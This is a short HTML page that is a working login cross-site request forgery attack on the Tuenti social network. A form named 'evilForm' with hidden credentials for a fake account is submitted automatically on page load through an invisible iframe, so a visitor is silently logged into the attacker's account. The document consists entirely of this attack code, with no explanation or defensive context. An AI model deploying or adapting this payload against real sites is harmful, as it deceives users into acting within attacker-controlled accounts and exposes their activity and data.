<form name="evilForm" id="evilForm" method="POST" action="https://secure.tuenti.com/?m=Login&func=do_login" target="hiddenIFrame">
<input type="hidden" name="email" value="fakeaccount@gmail.com" />
<input type="hidden" name="input_password" value="12341234" />
</form>
<iframe name="hiddenIFrame" src="" id="hiddenIFrame" width="0" height="0" style="visibility:hidden">
</iframe>
<script>
document.forms[0].submit();
</script>